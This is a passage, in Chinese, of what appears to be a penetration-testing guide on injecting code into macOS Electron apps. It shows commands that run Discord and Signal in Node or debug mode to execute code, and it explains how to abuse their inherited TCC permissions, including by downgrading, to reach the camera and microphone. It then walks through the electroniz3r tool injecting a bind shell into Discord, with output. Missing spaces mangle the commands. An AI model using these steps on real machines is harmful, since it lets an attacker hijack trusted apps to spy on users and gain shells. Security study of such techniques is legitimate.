# Run thisELECTRON_RUN_AS_NODE=1/Applications/Discord.app/Contents/MacOS/Discord# Then from the nodeJS console execute:require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
/Applications/Signal.app/Contents/MacOS/Signal--inspect=9229# Connect to it using chrome://inspect and execute a calculator with:require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
macOS 的 TCC 守护程序不会检查应用程序的执行版本。因此,如果您无法使用任何先前的技术在 Electron 应用程序中注入代码,您可以下载应用程序的旧版本并在其中注入代码,因为它仍将获得 TCC 权限(除非信任缓存阻止)。
运行非 JS 代码
先前的技术将允许您在 Electron 应用程序的进程中运行 JS 代码。但是,请记住,子进程在相同的沙盒配置文件下运行,并继承其 TCC 权限。
因此,如果您想滥用权限以访问摄像头或麦克风,您可以从进程中运行另一个二进制文件。
自动注入
工具 electroniz3r 可轻松用于查找已安装的易受攻击的 Electron 应用程序并在其中注入代码。此工具将尝试使用**--inspect**技术:
您需要自行编译它,并可以像这样使用它:
# Find electron apps./electroniz3rlist-apps╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗║Bundleidentifier│Path║╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝com.microsoft.VSCode/Applications/VisualStudioCode.apporg.whispersystems.signal-desktop/Applications/Signal.apporg.openvpn.client.app/Applications/OpenVPNConnect/OpenVPNConnect.appcom.neo4j.neo4j-desktop/Applications/Neo4jDesktop.appcom.electron.dockerdesktop/Applications/Docker.app/Contents/MacOS/DockerDesktop.apporg.openvpn.client.app/Applications/OpenVPNConnect/OpenVPNConnect.appcom.github.GitHubClient/Applications/GitHubDesktop.appcom.ledger.live/Applications/LedgerLive.appcom.postmanlabs.mac/Applications/Postman.appcom.tinyspeck.slackmacgap/Applications/Slack.appcom.hnc.Discord/Applications/Discord.app# Check if an app has vulenrable fuses vulenrable## It will check it by launching the app with the param "--inspect" and checking if the port opens/electroniz3rverify"/Applications/Discord.app"/Applications/Discord.appstartedthedebugWebSocketserverTheapplicationisvulnerable!Youcannowkilltheappusing`kill-957739`# Get a shell inside discord## For more precompiled-scripts check the code./electroniz3rinject"/Applications/Discord.app"--predefined-scriptbindShell/Applications/Discord.appstartedthedebugWebSocketserverThewebSocketDebuggerUrlis:ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5Shellbindingrequested.Check`nc127.0.0.112345`